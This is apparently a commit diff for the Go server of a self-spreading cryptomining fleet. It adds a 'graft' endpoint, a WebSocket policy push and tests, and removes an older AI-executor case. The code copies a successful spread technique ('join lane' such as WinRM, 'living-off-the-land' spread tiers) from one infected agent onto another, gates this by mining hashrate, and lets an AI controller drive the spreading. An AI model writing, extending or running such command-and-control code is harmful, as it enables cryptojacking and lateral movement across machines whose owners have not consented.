Add fleet topology epidemiology: strain plague map and mining interrupt fixes.

Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.

server/internal/api/fleet_ai_bridge.go

@@ -331,39 +331,6 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
 		e.Hub.serverPolicy = policy
 		e.Hub.mu.Unlock()
 		return "erasure:on", nil
-	case fleetai.CmdSpreadGraft:
-		sourceID, _ := args["source_agent_id"].(string)
-		tier, _ := args["tier"].(string)
-		if strings.TrimSpace(sourceID) == "" {
-			return "", fmt.Errorf("spread_graft requires source_agent_id")
-		}
-		if e.Hub.db == nil {
-			return "", fmt.Errorf("database unavailable")
-		}
-		source, err := e.Hub.db.GetAgent(strings.TrimSpace(sourceID))
-		if err != nil || source == nil {
-			return "", fmt.Errorf("source agent not found")
-		}
-		skipTiers := []interface{}{}
-		if strings.TrimSpace(tier) != "" {
-			skipTiers = append(skipTiers, strings.TrimSpace(tier))
-		}
-		graftArgs := map[string]interface{}{"graft_source": sourceID, "graft_tier": tier}
-		if source.JoinLane != "" {
-			graftArgs["join_lane"] = source.JoinLane
-		}
-		if len(skipTiers) > 0 {
-			if err := e.pushReorderTiers(agentID, map[string]interface{}{"skip_tiers": skipTiers}); err != nil {
-				return "", err
-			}
-		}
-		if source.JoinLane != "" {
-			if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", map[string]interface{}{"lane": source.JoinLane}); err != nil {
-				return "", err
-			}
-			return "graft:" + source.JoinLane, nil
-		}
-		return "graft:recorded", nil
 	default:
 		if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
 			return "", err

server/internal/api/fleet_graft.go

@@ -0,0 +1,77 @@
+package api
+
+import (
+	"encoding/json"
+	"net/http"
+	"strings"
+
+	"crypto-miner-server/internal/clearance"
+	"crypto-miner-server/internal/strategy"
+)
+
+type fleetGraftRequest struct {
+	SourceAgentID string `json:"source_agent_id"`
+	TargetAgentID string `json:"target_agent_id"`
+}
+
+// PostFleetGraft splices a winning strain from source onto target without re-spreading target.
+func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
+	if f.db == nil || f.ws == nil {
+		http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
+		return
+	}
+	policy := f.ws.ServerPolicy()
+	if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
+		http.Error(w, "graft requires ai_control_enabled and fleet_roles_enabled", http.StatusBadRequest)
+		return
+	}
+	var req fleetGraftRequest
+	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+		http.Error(w, "invalid body", http.StatusBadRequest)
+		return
+	}
+	sourceID := strings.TrimSpace(req.SourceAgentID)
+	targetID := strings.TrimSpace(req.TargetAgentID)
+	if sourceID == "" || targetID == "" {
+		http.Error(w, "source_agent_id and target_agent_id are required", http.StatusBadRequest)
+		return
+	}
+	if sourceID == targetID {
+		http.Error(w, "source and target must differ", http.StatusBadRequest)
+		return
+	}
+
+	level := clearance.L0
+	if mgr := f.ws.ClearanceManager(); mgr != nil {
+		level = mgr.Level(targetID)
+	}
+	if level < clearance.L4 {
+		writeJSON(w, map[string]interface{}{
+			"success": false,
+			"error":   "target clearance insufficient for spread_graft (requires L4)",
+		})
+		return
+	}
+
+	graftPolicy, err := f.ws.ApproveFleetGraft(sourceID, targetID)
+	if err != nil {
+		writeJSON(w, map[string]interface{}{
+			"success": false,
+			"error":   err.Error(),
+		})
+		return
+	}
+
+	writeJSON(w, map[string]interface{}{
+		"success":      true,
+		"source_id":    sourceID,
+		"target_id":    targetID,
+		"graft_policy": graftPolicy,
+		"pushed":       f.ws.IsAgentReachable(targetID),
+	})
+	_ = f.db.InsertAudit(AuthUsername(r), "spread_graft", targetID, map[string]interface{}{
+		"source_agent_id": sourceID,
+		"graft_tier":      graftPolicy.GraftTier,
+		"strain":          graftPolicy.GraftSourceStrain,
+	})
+}

server/internal/api/fleet_graft_test.go

@@ -0,0 +1,94 @@
+package api
+
+import (
+	"bytes"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/clearance"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+	"crypto-miner-server/internal/pool"
+)
+
+func TestPostFleetGraftRequiresToggles(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{})
+	fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
+
+	body, _ := json.Marshal(map[string]string{
+		"source_agent_id": "src", "target_agent_id": "dst",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	fh.PostFleetGraft(rec, req)
+	if rec.Code != http.StatusBadRequest {
+		t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
+	}
+}
+
+func TestPostFleetGraftApprovesWithL4AndMetabolism(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{
+		AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 10,
+	})
+	_ = hub.ClearanceManager().InitAgent("target", &models.Agent{ID: "target", Name: "tgt"})
+	_, _ = hub.ClearanceManager().RequestElevation("target", clearance.L4, "test", "test")
+
+	for _, ag := range []*models.Agent{
+		{ID: "source", Name: "winner", Platform: "windows", IP: "10.0.0.1", Status: "online",
+			SpreadStrain: "#aabbcc", LastSeen: time.Now()},
+		{ID: "target", Name: "recipient", Platform: "windows", IP: "10.0.0.2", Status: "online",
+			MiningHashrate: 50, Hashrate15s: 50, LastSeen: time.Now()},
+	} {
+		if err := database.UpsertAgent(ag); err != nil {
+			t.Fatal(err)
+		}
+	}
+	hub.mu.Lock()
+	hub.agentLiveTelemetry["source"] = map[string]interface{}{
+		"join_lane": "winrm", "mining_hashrate": 100.0,
+	}
+	hub.agentLiveTelemetry["target"] = map[string]interface{}{
+		"mining_hashrate": 50.0, "hashrate_15s": 50.0,
+	}
+	hub.mu.Unlock()
+
+	fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
+	payload, _ := json.Marshal(map[string]string{
+		"source_agent_id": "source", "target_agent_id": "target",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(payload))
+	rec := httptest.NewRecorder()
+	fh.PostFleetGraft(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
+	}
+	var resp map[string]interface{}
+	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
+		t.Fatal(err)
+	}
+	if resp["success"] != true {
+		t.Fatalf("resp=%v", resp)
+	}
+	updated, err := database.GetAgent("target")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if updated.GraftTier != "winrm" {
+		t.Fatalf("graft_tier = %q", updated.GraftTier)
+	}
+}

server/internal/api/graft_ws.go

@@ -0,0 +1,155 @@
+package api
+
+import (
+	"encoding/json"
+	"fmt"
+	"strings"
+	"time"
+
+	fleetai "crypto-miner-server/internal/ai"
+	"crypto-miner-server/internal/strategy"
+)
+
+// ServerPolicy returns the live Calibrate policy snapshot for REST handlers.
+func (h *WSHub) ServerPolicy() ServerPolicy {
+	if h == nil {
+		return ServerPolicy{}
+	}
+	return h.serverPolicySnapshot()
+}
+
+// AgentJoinLane returns the last stats-reported join lane for an agent.
+func (h *WSHub) AgentJoinLane(agentID string) string {
+	if h == nil {
+		return ""
+	}
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	if telem, ok := h.agentLiveTelemetry[agentID]; ok {
+		if lane, ok := telem["join_lane"].(string); ok {
+			return strings.TrimSpace(lane)
+		}
+	}
+	return ""
+}
+
+// AgentMiningHashrate returns live mining hashrate from the last stats tick.
+func (h *WSHub) AgentMiningHashrate(agentID string) float64 {
+	if h == nil {
+		return 0
+	}
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	if telem, ok := h.agentLiveTelemetry[agentID]; ok {
+		if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
+			return hr
+		}
+		if hr, ok := telem["hashrate_15s"].(float64); ok && hr > 0 {
+			return hr
+		}
+	}
+	return 0
+}
+
+// GraftPolicyForAgent builds graft_policy for auth when a pending graft exists in SQLite.
+func (h *WSHub) GraftPolicyForAgent(agentID string) (*strategy.GraftPolicy, bool) {
+	if h == nil || h.db == nil {
+		return nil, false
+	}
+	ag, err := h.db.GetAgent(agentID)
+	if err != nil || ag == nil {
+		return nil, false
+	}
+	if strings.TrimSpace(ag.GraftTier) == "" || ag.GraftApprovedAt == nil {
+		return nil, false
+	}
+	policy := h.serverPolicySnapshot()
+	if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
+		return nil, false
+	}
+	graft := strategy.GraftSource{
+		GraftSourceStrain: ag.GraftSourceStrain,
+		GraftTier:         ag.GraftTier,
+	}
+	targetOrder := policy.LotlOnionTiers
+	if len(targetOrder) == 0 {
+		targetOrder = fleetai.DefaultSpreadTiers()
+	}
+	out := strategy.BuildGraftPolicy(graft, targetOrder, *ag.GraftApprovedAt)
+	return &out, true
+}
+
+// PushGraftPolicy sends graft_policy to a connected agent (auth-equivalent policy push).
+func (h *WSHub) PushGraftPolicy(agentID string, graft strategy.GraftPolicy) error {
+	if h == nil {
+		return fmt.Errorf("hub unavailable")
+	}
+	body, err := json.Marshal(graft)
+	if err != nil {
+		return err
+	}
+	return h.SendToAgent(agentID, Message{Type: "graft_policy", Payload: body})
+}
+
+// ApproveFleetGraft splices source winner onto target; used by REST and court executor.
+func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPolicy, error) {
+	if h == nil || h.db == nil {
+		return strategy.GraftPolicy{}, fmt.Errorf("hub unavailable")
+	}
+	policy := h.serverPolicySnapshot()
+	if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
+		return strategy.GraftPolicy{}, fmt.Errorf("graft requires ai_control_enabled and fleet_roles_enabled")
+	}
+	source, err := h.db.GetAgent(sourceID)
+	if err != nil || source == nil {
+		return strategy.GraftPolicy{}, fmt.Errorf("source agent not found")
+	}
+	target, err := h.db.GetAgent(targetID)
+	if err != nil || target == nil {
+		return strategy.GraftPolicy{}, fmt.Errorf("target agent not found")
+	}
+	joinLane := h.AgentJoinLane(sourceID)
+	if joinLane == "" {
+		joinLane = strings.TrimSpace(source.JoinLane)
+	}
+	if joinLane == "" {
+		return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
+	}
+	hr := h.AgentMiningHashrate(targetID)
+	if hr <= 0 {
+		hr = target.MiningHashrate
+	}
+	if hr <= 0 {
+		hr = target.Hashrate15s
+	}
+	if !strategy.GraftMetabolismGatePassed(hr, policy.HashrateGateHPS) {
+		return strategy.GraftPolicy{}, fmt.Errorf("target hashrate below metabolism gate")
+	}
+
+	tierOrder := fleetai.DefaultSpreadTiers()
+	fp := strategy.FingerprintFromAuth(source.Platform, source.IP, source.FirewallDomain != nil && *source.FirewallDomain)
+	if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
+		pheno := strategy.PhenotypeFromStored(*stored)
+		if len(pheno.TierOrder) > 0 {
+			tierOrder = pheno.TierOrder
+		}
+	}
+	peak := h.AgentMiningHashrate(sourceID)
+	if peak <= 0 {
+		peak = source.MiningHashrate
+	}
+	graft := strategy.BuildGraftSourceFromAgent(
+		source.ID, source.Name, joinLane, source.SpreadStrain, tierOrder, peak,
+	)
+	approvedAt := time.Now().UTC()
+	if err := h.db.UpdateAgentGraft(targetID, graft.GraftSourceStrain, graft.GraftTier, approvedAt); err != nil {
+		return strategy.GraftPolicy{}, err
+	}
+	targetOrder := policy.LotlOnionTiers
+	if len(targetOrder) == 0 {
+		targetOrder = fleetai.DefaultSpreadTiers()
+	}
+	out := strategy.BuildGraftPolicy(graft, targetOrder, approvedAt)
+	_ = h.PushGraftPolicy(targetID, out)
+	return out, nil
+}